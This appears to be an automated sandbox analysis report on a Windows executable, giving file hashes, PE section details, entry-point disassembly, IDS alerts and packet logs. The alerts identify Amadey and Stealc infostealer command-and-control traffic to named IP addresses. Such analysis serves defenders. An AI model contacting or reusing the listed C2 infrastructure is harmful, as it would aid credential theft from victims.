MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.574848316747086
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	5'205'504 bytes
MD5:	d4476d9de4faf2084f474044060cccc5
SHA1:	6e82d3e8e4dece4dbe594f614ec5e7405988f9cd
SHA256:	0559a995542838ab3cccaf02743f98c1dae010f71f46b226815ccdfbb37d20db
SHA512:	3f6e678760f8c653115d9547b085c0e48021afc31800ee78a38c1fbe64dee21c3978a5d6e4568cb704281e14e0112fbd4a8907ccdaf149e40bc37a593905bd12
SSDEEP:	49152:mnVjEwSomFhVJ7BNb156Bef66ioiMK+Ii2O:mnVjtSom3rJ0Bef6CiQIi2O
TLSH:	F1363A52A54D72CFD48A1FB84167DE825C5DC2B947280EC7A8A9B17B7EE3EC011ADC34
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L...<.Jg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8f8000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674AE73C [Sat Nov 30 10:21:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007EFC8112A29Ah
cmovl ecx, dword ptr [edi+00h]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007EFC8112C295h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x249000	1e21b1ff245ec85275bd7d18bf492ab2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	9536d2b3a2eda870e2407104c9596139	False	0.576171875	data	5.048164681214948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aywxihyi	0x24c000	0x2ab000	0x2aa200	cb634b1d14d983b8210da6071764f651	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tzeekzyc	0x4f7000	0x1000	0x600	a67d5a8502e4a514a409574b16746c50	False	0.5813802083333334	data	4.961623262343183	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4f8000	0x3000	0x2200	8b63dd4ae0c6f073001560e2b7f75435	False	0.05549172794117647	DOS executable (COM)	0.6164075194612271	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24a058	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T18:45:03.755752+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50024	TCP
2024-12-06T18:45:14.700552+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-12-06T18:45:15.147306+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-12-06T18:45:15.269477+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-12-06T18:45:15.595234+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-12-06T18:45:15.717788+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-12-06T18:45:17.028171+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-12-06T18:45:17.552561+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49714	185.215.113.206	80	TCP
2024-12-06T18:45:44.509450+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:46.401879+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:47.767561+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:48.867013+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:52.396398+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:45:53.469908+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49796	185.215.113.206	80	TCP
2024-12-06T18:46:00.463990+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49857	185.215.113.16	80	TCP
2024-12-06T18:47:07.636469+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50016	185.215.113.43	80	TCP
2024-12-06T18:47:12.064593+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50028	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 18:45:03.755752087 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:03.755767107 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:03.756887913 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:03.775109053 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:03.775132895 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.079420090 CET	443	49707	20.198.119.143	192.168.2.6
Dec 6, 2024 18:45:04.129232883 CET	49707	443	192.168.2.6	20.198.119.143
Dec 6, 2024 18:45:04.157921076 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.157949924 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.158046007 CET	49706	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:04.162034035 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.162122965 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.162179947 CET	49706	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:04.170430899 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.173476934 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.173532963 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.173557043 CET	49706	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:04.181863070 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.182001114 CET	49706	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:04.182028055 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.190227985 CET	443	49706	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:04.190288067 CET	49706	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:04.328164101 CET	443	49707	20.198.119.143	192.168.2.6
Dec 6, 2024 18:45:04.329283953 CET	49707	443	192.168.2.6	20.198.119.143
Dec 6, 2024 18:45:04.449131966 CET	443	49707	20.198.119.143	192.168.2.6
Dec 6, 2024 18:45:04.504873991 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:04.504904032 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:04.504982948 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:04.506339073 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:04.506352901 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:04.873182058 CET	443	49707	20.198.119.143	192.168.2.6
Dec 6, 2024 18:45:04.926129103 CET	49707	443	192.168.2.6	20.198.119.143
Dec 6, 2024 18:45:05.051183939 CET	49673	443	192.168.2.6	173.222.162.64
Dec 6, 2024 18:45:05.051184893 CET	49674	443	192.168.2.6	173.222.162.64
Dec 6, 2024 18:45:05.394928932 CET	49672	443	192.168.2.6	173.222.162.64
Dec 6, 2024 18:45:05.410783052 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:05.410897970 CET	49708	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:05.440746069 CET	49708	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:05.440761089 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:05.441021919 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:05.443888903 CET	49708	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:05.443943977 CET	49708	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:05.443975925 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:05.871851921 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:05.871898890 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:05.871973038 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:05.872258902 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:05.872270107 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:06.049341917 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:06.049367905 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:06.049416065 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:06.049454927 CET	49708	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:06.049470901 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:06.049485922 CET	49708	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:06.050374985 CET	49708	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:06.050395966 CET	49708	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:06.050544977 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:06.050578117 CET	443	49708	40.126.31.71	192.168.2.6
Dec 6, 2024 18:45:06.050622940 CET	49708	443	192.168.2.6	40.126.31.71
Dec 6, 2024 18:45:06.303653002 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:06.303745985 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:06.325407982 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:06.325426102 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:06.325699091 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:06.325758934 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:06.327038050 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:06.327069998 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.021831989 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.021842957 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.021918058 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:07.021934032 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.021984100 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:07.021990061 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.021996975 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.022033930 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:07.023340940 CET	49709	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:07.023359060 CET	443	49709	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.650001049 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.650074959 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:07.653439999 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:07.653446913 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.653709888 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:07.653748989 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:07.653788090 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:07.653804064 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:08.067909002 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:08.067929029 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:08.067974091 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:08.067987919 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:08.067996025 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:08.068023920 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:08.068047047 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:08.068089008 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:08.068378925 CET	49710	443	192.168.2.6	20.199.58.43
Dec 6, 2024 18:45:08.068392038 CET	443	49710	20.199.58.43	192.168.2.6
Dec 6, 2024 18:45:10.843169928 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:10.843208075 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:10.843349934 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:10.844064951 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:10.844086885 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:12.758157969 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:12.878293037 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:12.878385067 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:12.879352093 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:12.999077082 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:13.079569101 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:13.079695940 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:13.085434914 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:13.085448980 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:13.085721970 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:13.087610960 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:13.087676048 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:13.087685108 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:13.087862968 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:13.131336927 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:13.759257078 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:13.759354115 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:13.760260105 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:13.760566950 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:13.760591030 CET	443	49713	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:13.760622025 CET	49713	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:14.233403921 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:14.236725092 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:14.245246887 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:14.365571022 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:14.651000977 CET	49674	443	192.168.2.6	173.222.162.64
Dec 6, 2024 18:45:14.660476923 CET	49673	443	192.168.2.6	173.222.162.64
Dec 6, 2024 18:45:14.700495005 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:14.700551987 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:14.701931953 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:14.822546005 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.003745079 CET	49672	443	192.168.2.6	173.222.162.64
Dec 6, 2024 18:45:15.147247076 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.147305965 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:15.147341967 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.147377014 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:15.148722887 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:15.269476891 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.595118046 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.595233917 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:15.595376968 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.595390081 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.595402956 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.595417023 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.595434904 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:15.595446110 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:15.595458984 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:15.595509052 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:15.598083019 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:15.717787981 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:16.044049025 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:16.044260979 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:16.060411930 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:16.060411930 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:16.180347919 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:16.180361986 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:16.180380106 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:16.180442095 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:16.180452108 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:16.180529118 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:16.180540085 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.025907993 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.028171062 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.110985041 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:17.230684996 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:17.486879110 CET	443	49703	173.222.162.64	192.168.2.6
Dec 6, 2024 18:45:17.486970901 CET	49703	443	192.168.2.6	173.222.162.64
